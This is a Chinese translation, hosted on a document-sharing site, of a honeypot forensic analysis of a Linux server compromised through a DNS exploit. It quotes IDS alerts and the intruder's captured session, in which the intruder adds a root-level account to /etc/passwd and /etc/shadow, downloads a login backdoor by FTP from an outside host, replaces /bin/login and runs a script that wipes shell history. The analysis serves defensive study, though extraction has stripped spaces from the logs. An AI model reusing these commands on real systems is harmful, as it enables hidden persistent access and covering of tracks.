一次被DNS攻击后的分析.docx

上传人:b****5 文档编号:8007944 上传时间:2023-01-27 格式:DOCX 页数:22 大小:21.53KB
下载 相关 举报
一次被DNS攻击后的分析.docx_第1页
第1页 / 共22页
一次被DNS攻击后的分析.docx_第2页
第2页 / 共22页
一次被DNS攻击后的分析.docx_第3页
第3页 / 共22页
一次被DNS攻击后的分析.docx_第4页
第4页 / 共22页
一次被DNS攻击后的分析.docx_第5页
第5页 / 共22页
点击查看更多>>
下载资源
资源描述

一次被DNS攻击后的分析.docx

《一次被DNS攻击后的分析.docx》由会员分享,可在线阅读,更多相关《一次被DNS攻击后的分析.docx(22页珍藏版)》请在冰豆网上搜索。

一次被DNS攻击后的分析.docx

一次被DNS攻击后的分析

一次被DNS攻击后的分析

 

   这篇文章是关于被DNS攻击后的系统分析,通过这个分析可以了解攻击者的行为,能很好的了解怎样攻击,攻击后做什么等各种行为,有助你更好的维护系统。

原文作者:

lance@

背景

  此文信息由honeypot--VISION的IDS签字。

攻击行为

在四月26号,snort提醒我其中的一个系统正受到一个'noop'攻击,信息包装载包含noops的信息,在此情况下,SNORT探测到攻击和记录了警告信息到/var/log/messages文件中(使用

Apr2606:

43:

05lisasnort[6283]:

IDS181/nops-x86:

63.226.81.13:

1351->172.16.1.107:

53 

我的honeypots接受无数探测,扫描和查询,而且下面的一个警告信息使我注意到其中一个系统可能被破坏,下面的系统LOG信息指示攻击者正开始了一个连接和LOGIN了系统:

Apr2606:

44:

25victim7PAM_pwdb[12509]:

(login)sessionopenedforusertwinby(uid=0) 

Apr2606:

44:

36victim7PAM_pwdb[12521]:

(su)sessionopenedforuserhantubytwin(uid=506)

  从上面的情况可以看到,入侵者已经获得超级用户权利和控制了整个系统,但这是怎样完成的呢,我们下面开始分析:

分析

  当分析一攻击的时候,最好的位置是在开始端,即攻击者是从哪里开始的,攻击者一般开始是收集系统信息,可以让他获得系统所存在的漏洞,如果你的系统被破坏,这就表明攻击者不是第一次与你的系统通信了,大多数攻击者必须通过对你系统的连接获得初始化的信息。

所以我们从最开始的信息收集开始,从第一条信息可以知道攻击初于53端口,这表示在我们系统上发动了一个DNS攻击,所以我通过我的snortalerts--

可能的信息探测,我们发现一DNS版本查询探测的信息:

Apr2502:

08:

07lisasnort[5875]:

IDS277/DNS-version-query:

63.226.81.13:

4499->172.16.1.107:

53 

Apr2502:

08:

07lisasnort[5875]:

IDS277/DNS-version-query:

63.226.81.13:

4630->172.16.1.101:

53 

   注意,这个探测日期是4月25日,我们系统被攻击是在4月26号,系统是在被探测后的一天被入侵的,所以我猜测攻击者是使用一些扫描器扫描出一些关于DNS漏洞的信息,扫描以后,攻击者查看扫描结果,获得系统漏洞信息,然后启用他们的EXPLOIT。

这样我们可以得到如下结论:

在4月25号被检测后,后一天被侵入,通过我们的IDS警告,我们获知我们是被DNS漏洞攻击。

THEEXPLOIT:

  类似于大多数商业IDS系统,snort可以显示我们所有IP信息包装载数据,我们就使用这功能来分析EXPLOIT,这个EXPLOIT信息可以从snort的LOG记录获得(存储在tcpdump两进制格式)。

我查询snort的LOG记录并开始分析攻击开始时候的信息包,我没有把信息限制在仅查询主机63.336.81.13,主要是因为攻击者使用三个不同系统来运行这个EXPLOIT,这个EXPLOIT的目标是在远程主机上获得ROOTSHELL,一旦攻击者获得ROOTSHELL,他们可以以ROOT身份运行所有命令,还通常会在/etc/passwd和/etc/shadow文件中增加帐号,下面的获得ROOTSHELL后执行的一些命令:

cd/;uname-a;pwd;id; 

Linuxapollo.uicmba.edu2.2.5-15#1MonApr1922:

21:

09EDT1999i586unknown 

uid=0(root)gid=0(root)groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) 

echo"twin:

:

506:

506:

:

/home/twin:

/bin/bash">>/etc/passwd 

echo"twin:

w3nT2H0b6AjM2:

:

:

:

:

:

:

">>/etc/shadow 

echo"hantu:

:

0:

0:

:

/:

/bin/bash">>/etc/passwd 

echo"hantu:

w3nT2H0b6AjM2:

:

:

:

:

:

:

">>/etc/shadow 

   从上面可以知道,攻击者运行了uname-a查询了系统,和PWD查询当前目录,和ID查看UID,并增加了twin和hantu两个帐号,使用了相同的密码,必须注意,twin使用了UID为506,而hantu使用了UID为0(另一方面hantu是印度尼西亚语言中的鬼魂的意思),要知道,大多数系统中不允许UID为0的帐号远程TELNET,所以起建立了一个可以远程TELNET的帐号,并建立了以后可以SU到ROOT的帐号。

在90秒内攻击者利用了EXPLOIT程序进入系统,并获得ROOT权利(可以通过下面的LOG记录),

Apr2606:

43:

05lisasnort[6283]:

IDS181/nops-x86:

63.226.81.13:

1351->172.16.1.107:

53 

Apr2606:

44:

25victim7PAM_pwdb[12509]:

(login)sessionopenedforusertwinby(uid=0) 

Apr2606:

44:

36victim7PAM_pwdb[12521]:

(su)sessionopenedforuserhantubytwin(uid=506) 

现在要分析其下一步将做什么?

获得访问权利后的活动

   比较幸运的是,TELNET是明文协议,对数据没有进行加密,这表示我们可以解开其踪迹和捕获其击键记录,而snort就做好了这些,这就是snort另一个好处,通过捕获对TELNET会话的击键记录,我们可以判断攻击者在做何工作,snort捕获了不但是STDIN(击键),而且还有STDOUT和STDER记录,让我们来看看TELNET会话和入侵者的活动吧:

  开始,我们的朋友一twin身份TELNET系统(从213.28.22.189),并获得超级用户身份-hantu,这里要记住他不能以UID为0的身份TELNET。

#'!

"'!

"#'9600,9600'VT5444VT5444 

RedHatLinuxrelease6.0(Shedwig) 

Kernel2.2.5-15onani586 

login:

twin 

Password:

Password:

hax0r 

Nodirectory/home/twin!

 

Logginginwithhome="/". 

[twin@apollo/]$suhantu 

Password:

Password:

hax0r 

下一步,攻击者去其他机器抓取ROOTKIT程序,如下:

[root@apollo/]#ftp24.112.167.35 

Connectedto24.112.167.35. 

220linuxFTPserver(Versionwu-2.5.0

(1)TueSep2116:

48:

12EDT1999)ready. 

Name(24.112.167.35:

twin):

welek 

331Passwordrequiredforwelek. 

Password:

password 

230Userwelekloggedin. 

RemotesystemtypeisUNIX. 

Usingbinarymodetotransferfiles. 

ftp>getbj.c 

local:

bj.cremote:

bj.c 

200PORTcommandsuccessful. 

150OpeningBINARYmodedataconnectionforbj.c(1010bytes). 

226Transfercomplete. 

1010bytesreceivedin0.115secs(8.6Kbytes/sec) 

ftp>quit 

221-Youhavetransferred1010bytesin1files. 

221-Totaltrafficforthissessionwas1421bytesin1transfers. 

221-ThankyouforusingtheFTPserviceonlinux. 

221Goodbye. 

他FTP获得了后门程序,编译了bj.c,并安装代替了/sbin/login程序,(从下面的记录来看,攻击者使用了COPY和粘贴的工作):

root@apollo/]#gcc-ologinbj.cchownroot:

binloginchmod4555loginchmodu-wlogincp/bin/login/usr/bin/xstatcp/bin/login/usr/bin/old 

rm/bin/loginchmod555/usr/bin/xstatchgrpbin/usr/bin/xstatmvlogin/bin/loginrmbj.cgcc-ologinbj.c 

bj.c:

16:

unterminatedstringorcharacterconstant 

bj.c:

12:

possiblerealstartofunterminatedconstant 

然后他起用了后门程序:

[root@apollo/]#chownroot:

binlogin 

chown:

login:

Nosuchfileordirectory 

[root@apollo/]#chmod4555login 

chmod:

login:

Nosuchfileordirectory 

[root@apollo/]#chmodu-wlogin 

chmod:

login:

Nosuchfileordirectory 

[root@apollo/]#cp/bin/login/usr/bin/xstat 

[root@apollo/]#cp/bin/login/usr/bin/old 

[root@apollo/]#rm/bin/login 

[root@apollo/]#chmod555/usr/bin/xstat 

[root@apollo/]#chgrpbin/usr/bin/xstat 

[root@apollo/]#mvlogin/bin/login 

mv:

login:

Nosuchfileordirectory 

[root@apollo/]#rmbj.c 

后来从记录来看,攻击者并没有成功,他又一次FTP到站点再次下载了后门:

[root@apollo/]#ftp24.112.167.35 

Connectedto24.112.167.35. 

220linuxFTPserver(Versionwu-2.5.0

(1)TueSep2116:

48:

12EDT1999)ready. 

Name(24.112.167.35:

twin):

[root@apollo/]#ftp24.112.167.35 

Connectedto24.112.167.35. 

220linuxFTPserver(Versionwu-2.5.0

(1)TueSep2116:

48:

12EDT1999)ready. 

Name(24.112.167.35:

twin):

welek 

331Passwordrequiredforwelek. 

Password:

331Passwordrequiredforwelek. 

Password:

password 

230Userwelekloggedin. 

RemotesystemtypeisUNIX. 

Usingbinarymodetotransferfiles. 

ftp>getbj.c 

qulocal:

bj.cremote:

bj.c 

200PORTcommandsuccessful. 

u150OpeningBINARYmodedataconnectionforbj.c(1011bytes). 

226Transfercomplete. 

1011bytesreceivedin0.134secs(7.3Kbytes/sec) 

ftp>itit 

221-Youhavetransferred1011bytesin1files. 

221-Totaltrafficforthissessionwas1422bytesin1transfers. 

221-ThankyouforusingtheFTPserviceonlinux. 

221Goodbye. 

这是攻击者第二次尝试了编译后门,注意他还是使用"cut和paste"命令:

[root@apollo/]#gcc-ologinbj.cchownroot:

binloginchmod4555loginchmodu-wlogincp/bin/login/usr/bin/xstatcp/bin/login/usr/bin/old 

rm/bin/loginchmod555/usr/bin/xstatchgrpbin/usr/bin/xstatmvlogin/bin/loginrmbj.cgcc-ologinbj.c 

bj.c:

Infunction`owned':

 

bj.c:

16:

warning:

assignmentmakespointerfromintegerwithoutacast 

我们注意到编译的后门被采用,并把合法的/bin/login移到和命名为了/usr/bin/xstat,并把编译后的bj.c代码代替了/bin/login,这个后门程序允许任何人把TERM设定为ct9111可以进行不用认证的访问:

[root@apollo/]#chownroot:

binlogin 

[root@apollo/]#chmod4555login 

[root@apollo/]#chmodu-wlogin 

[root@apollo/]#cp/bin/login/usr/bin/xstat 

cp:

/bin/login:

Nosuchfileordirectory 

[root@apollo/]#cp/bin/login/usr/bin/old 

cp:

/bin/login:

Nosuchfileordirectory 

[root@apollo/]#rm/bin/login 

rm:

cannotremove`/bin/login':

Nosuchfileordirectory 

[root@apollo/]#chmod555/usr/bin/xstat 

[root@apollo/]#chgrpbin/usr/bin/xstat 

[root@apollo/]#mvlogin/bin/login 

下面的是攻击者摸去其脚印的活动,我相信他使用了脚本程序,并使用了CUT和PASTE,因为注意所有命令的执行只有一个命令提示符,并从下面的记录我们可以知道这个清理的脚本语言名字为'generic',注意它是怎样删除这些文件的:

[root@apollo/]#rmbj.c 

[root@apollo/]#[root@apollo/]#ps-aux|grepinetd;ps-aux|grepportmap; 

rm/sbin/portmap;rm/tmp/h;rm/usr/sbin/rpc.portmap;rm-rf.bash*; 

rm-rf/root/.bash_history;rm-rf/usr/sbin/namedps-aux|grepinetd;ps-aux|grepportmap; 

rm/sbin/por

rm/tmp/h;rm/usr

sbin/rpc.portmap;rm-rf

rm-rf/root/.ba

rm-rf/root/.bash_history;rm-rf/usr/sbin/named 

359?

00:

00:

00inetd 

359?

00:

00:

00inetd 

rm:

cannotremove`/tmp/h':

Nosuchfileordirectory 

rm:

cannotremove`/usr/sbin/rpc.portmap':

Nosuchfileordirectory 

[root@apollo/]#ps-aux|grepportmap 

[root@apollo/]#[root@apollo/]#ps-aux|grepinetd;ps-aux|grepportmap;rm/sbin/portmap; 

rm/tmp/h;rm/usr/sbin/rpc.portmap;rm-rf.bash*;rm-rf/root/.bash_history; 

rm-rf/usr/sbin/namedps-aux|grepinetd;ps-aux|grepportmap;rm/sbin/por

ps-aux|grepportmap;rm/sbin/portmap;rm/tmp/h;rm/usr

rm/tmp/h;rm/usr/sbin/rpc.portmap;rm-rf.bash*;rm-rf/root/.ba

rm-rf/usr/s

359?

00:

00:

00inetd 

rm:

cannotremove`/sbin/portmap':

Nosuchfileordirectory 

rm:

cannotremove`/tmp/h':

Nosuchfileordirectory 

rm:

cannotremove`/usr/sbin/rpc.portmap':

Nosuchfileordirectory 

[root@apollo/]#rm:

cannotremove`/sbin/portmap':

Nosuchfileordirectory 

这里发现了一个有趣的事情,这个攻击者使用的generic清理脚本在尝试删除不存在文件的时候产生了错误,我判断攻击者看到了这些信息并尝试了手工删除这些文件,经管这些文件不存在:

rm:

cannotremove`/tmp/h':

Nosuchfileordirectory 

rm:

cannotremove`/usr/sbin/rpc.portmap':

Nosuchfileordirectory 

[root@apollo/]#rm:

cannotremove`/sbin/portmap':

Nosuchfileordirectory 

rm:

cannotremove`/tmp/h':

Nosuchfileordirectory 

rm:

cannotremove`/usr/sbin/rpc.portmap':

Nosuchfileordirectory 

[root@apollo/]#exit 

exit 

[twin@apollo/]$exit 

logout 

  到这里为止,他离开了系统,并安装了BJ.C后门,这个后门允许未认证的访问,只要把TERM设置为VT9111即可。

后来,攻击者又多次进行了连接

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 总结汇报 > 学习总结

copyright@ 2008-2022 冰豆网网站版权所有

经营许可证编号:鄂ICP备2022015515号-1